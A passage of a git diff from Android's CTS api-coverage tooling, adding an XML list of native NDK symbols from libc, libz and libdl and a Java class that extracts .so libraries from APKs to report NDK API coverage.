+ <field deprecated="not deprecated" final="true" name="__progname" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="futimens" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gettid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_barrier_destroy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setresuid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strcoll" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vfwscanf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ns_name_pton" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcsncpy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="writev" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="killpg" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__p_query" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vfork" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__system_property_read" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="tfind" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mrand48" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="statfs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__isinf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="lgetxattr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcsrtombs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_condattr_getclock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="clone" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="initgroups" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fsetpos64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="labs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_spin_init" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="readdir64_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sched_getaffinity" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="timelocal" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mkdir" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sethostname" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcscpy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getwchar" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fgetpos" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getsockname" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="msgsnd" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getpgrp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_rwlock_trywrlock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getchar_unlocked" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strnlen" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__assert2" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="execvpe" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="error_at_line" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ftell" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="isalpha" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_detach" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mempcpy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="warnx" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="arc4random" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__libc_current_sigrtmin" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fwscanf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="inet_addr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="timerfd_create" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcsstr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gethostname" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sigpending" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_condattr_destroy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="rmdir" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strrchr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="stat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pread64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_mutex_trylock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getuid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pclose" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="twalk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="sys_siglist" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mknodat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__pwrite_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setpriority" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="tcgetsid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="abort" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="atof" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gethostbyname2" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="tcdrain" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="atoi" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="faccessat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fchownat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="opterr" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_attr_getschedparam" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__umask_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="atol" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="lchown" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="_resolv_set_nameservers_for_net" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setrlimit64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="msgget" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ftello" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fwrite" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="err" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="recvmsg" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="siglongjmp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ </class>
+ <class abstract="false" deprecated="not deprecated" final="true" name="libz.so" static="false" visibility="public">
+ <method abstract="false" deprecated="not deprecated" final="true" name="inflateEnd" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="inflateInit2_" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="deflate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="deflateTune" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="_tr_init" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="deflatePrime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gzerror" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="inflateReset" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gztell" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="_tr_tally" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gzflush" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="inflateMark" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="inflateSyncPoint" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="inflate_fast" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="deflateSetHeader" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="_tr_align" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="inflateInit_" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="_tr_flush_block" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="inflateBackEnd" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="_length_code" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gzbuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="inflate_copyright" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="adler32" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="z_errmsg" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="deflateResetKeep" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gzseek" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="crc32" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="zError" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="_dist_code" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gz_error" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gzread" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="inflate_table" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="deflateCopy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gzputc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="inflateGetHeader" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="zcalloc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gzgetc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gzwrite" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gzvprintf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="deflateReset" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gzeof" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="_tr_flush_bits" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gzopen64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="inflate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="inflateReset2" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="crc32_combine64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="deflateInit_" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="zlibCompileFlags" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gzdirect" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="deflateInit2_" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="deflatePending" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="deflate_copyright" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gzputs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gzseek64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="zcfree" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gzgets" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="inflateResetKeep" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gzoffset64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="compressBound" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="deflateParams" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="inflateGetDictionary" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="get_crc_table" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="inflateBack" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gzprintf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="inflatePrime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="inflateSetDictionary" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="_tr_stored_block" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="adler32_combine" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gzrewind" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gzclose_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gzclose" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gzdopen" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="zlibVersion" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gzclearerr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="adler32_combine64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="inflateBackInit_" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="compress" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gzclose_w" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gzopen" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="deflateBound" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="compress2" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gztell64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="uncompress" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gzoffset" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="deflateSetDictionary" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="inflateCopy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gzgetc_" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="deflateEnd" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="LIBZ" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="crc32_combine" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gzsetparams" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gzungetc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="inflateUndermine" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="inflateSync" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ </class>
+ <class abstract="false" deprecated="not deprecated" final="true" name="libdl.so" static="false" visibility="public">
+ <method abstract="false" deprecated="not deprecated" final="true" name="android_dlopen_ext" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__cfi_slowpath_diag" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="dlsym" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="LIBC_N" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="LIBC" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="dlerror" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="dlopen" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__cfi_shadow_size" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="dlclose" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="LIBC_OMR1" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__cfi_slowpath" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="dl_iterate_phdr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="dladdr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="dlvsym" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ </class>
+ </package>
+</api>
diff --git a/tools/cts-api-coverage/src/com/android/cts/apicoverage/ApkNdkApiReport.java b/tools/cts-api-coverage/src/com/android/cts/apicoverage/ApkNdkApiReport.java
new file mode 100644
index 0000000..5882a01
--- /dev/null
+++ b/tools/cts-api-coverage/src/com/android/cts/apicoverage/ApkNdkApiReport.java
@@ -0,0 +1,172 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.apicoverage;
+
+
+import org.xml.sax.SAXException;
+
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.FilenameFilter;
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.ArrayList;
+import java.util.Enumeration;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.zip.ZipEntry;
+import java.util.zip.ZipFile;
+/**
+ * Class that outputs an XML report of the {@link ApiCoverage} collected. It can be viewed in a
+ * browser when used with the api-coverage.css and api-coverage.xsl files.
+ */
+class ApkNdkApiReport {
+ public static final String FILE_FILTER_EXT = ".apk";
+ public static final String DEFAULT_OUTPUT_FILE_NAME = "./apk-ndk-coverage.txt";
+
+ private static final FilenameFilter SUPPORTED_FILE_NAME_FILTER =
+ new FilenameFilter() {
+ public boolean accept(File dir, String name) {
+ String fileName = name.toLowerCase();
+ return fileName.endsWith(FILE_FILTER_EXT);
+ }
+ };
+
+ private static void printUsage() {
+ System.out.println("Usage: ApkNdkApiReport [OPTION]... [APK]...");
+ System.out.println();
+ System.out.println("Generates a report about what Android NDK methods.");
+ System.out.println();
+ System.out.println("Options:");
+ System.out.println(" -o FILE output file or standard out if not given");
+ System.out.println(" -t PATH path to the CTS testcases Folder");
+ System.out.println(" -b BITS 64 or 32");
+ System.out.println();
+ System.exit(1);
+ }
+
+ /** Get the argument or print out the usage and exit. */
+ private static String getExpectedArg(String[] args, int index) {
+ if (index < args.length) {
+ return args[index];
+ } else {
+ printUsage();
+ return null; // Never will happen because printUsage will call exit(1)
+ }
+ }
+
+ public static void main(String[] args) throws IOException, SAXException {
+ ApkNdkApiReport apiReport;
+ String testCasePath = "";
+ String bits = "64";
+ String outputFileName = DEFAULT_OUTPUT_FILE_NAME;
+ int numTestModule = 0;
+
+ for (int i = 0; i < args.length; i++) {
+ if (args[i].startsWith("-")) {
+ if ("-o".equals(args[i])) {
+ outputFileName = getExpectedArg(args, ++i);
+ } else if ("-t".equals(args[i])) {
+ testCasePath = getExpectedArg(args, ++i);
+ } else if ("-b".equals(args[i])) {
+ bits = getExpectedArg(args, ++i);
+ } else {
+ printUsage();
+ }
+ } else {
+ printUsage();
+ }
+ }
+
+ apiReport = parseTestcasesFolder(testCasePath, bits);
+ if (apiReport != null) {
+ for (TestModule tm : apiReport.mTestModules) {
+ tm.getDynSymArr();
+ }
+ } else {
+ printUsage();
+ }
+ }
+
+ private List<TestModule> mTestModules;
+ private String mBits;
+
+ ApkNdkApiReport(List<TestModule> testModules, String bits) {
+ mTestModules = testModules;
+ mBits = bits;
+ }
+
+ public List<TestModule> getTestModules() {
+ return mTestModules;
+ }
+
+ public String getBits() {
+ return mBits;
+ }
+
+ public static ApkNdkApiReport parseTestcasesFolder(String testCasePath, String bits)
+ throws IOException, SAXException {
+ File[] testConfigFiles;
+ List<TestModule> testModules = new ArrayList<TestModule>();
+
+ File file = new File(testCasePath);
+ if (file.isDirectory()) {
+ File[] targetFiles = file.listFiles(SUPPORTED_FILE_NAME_FILTER);
+
+ Map<String, String> env = new HashMap<>();
+ for (File targetFile : targetFiles) {
+ final ZipFile apkFile = new ZipFile(targetFile);
+ System.out.println(targetFile.getName());
+ try {
+ final Enumeration<? extends ZipEntry> entries = apkFile.entries();
+ while (entries.hasMoreElements()) {
+ final ZipEntry entry = entries.nextElement();
+
+ if (!entry.getName().matches("lib(.*)" + bits + "(.*)so")) {
+ continue;
+ }
+
+ System.out.println(entry.getName());
+
+ //use entry input stream:
+ InputStream is = apkFile.getInputStream(entry);
+
+ File tempFile = File.createTempFile("ApkNdkApiReport", ".so");
+ tempFile.deleteOnExit();
+ FileOutputStream fos = new FileOutputStream(tempFile);
+
+ byte[] bytes = new byte[4096];
+ int length;
+ while ((length = is.read(bytes)) >= 0) {
+ fos.write(bytes, 0, length);
+ }
+ is.close();
+ fos.close();
+
+ testModules.add(new TestModule(tempFile, targetFile.getName(), "jUnit"));
+ }
+ } catch (IOException e) {
+ e.printStackTrace();
+ }
+ }
+ } else {
+ return null;
+ }
+ return new ApkNdkApiReport(testModules, bits);
+ }
+}
diff --git a/tools/cts-api-coverage/src/com/android/cts/apicoverage/CtsApiCoverage.java b/tools/cts-api-coverage/src/com/android/cts/apicoverage/CtsApiCoverage.java
index 2b57c76..95eb89f 100644
--- a/tools/cts-api-coverage/src/com/android/cts/apicoverage/CtsApiCoverage.java
+++ b/tools/cts-api-coverage/src/com/android/cts/apicoverage/CtsApiCoverage.java
@@ -17,10 +17,9 @@
package com.android.cts.apicoverage;
import com.android.compatibility.common.util.CddTest;
+import com.android.compatibility.common.util.ReadElf;
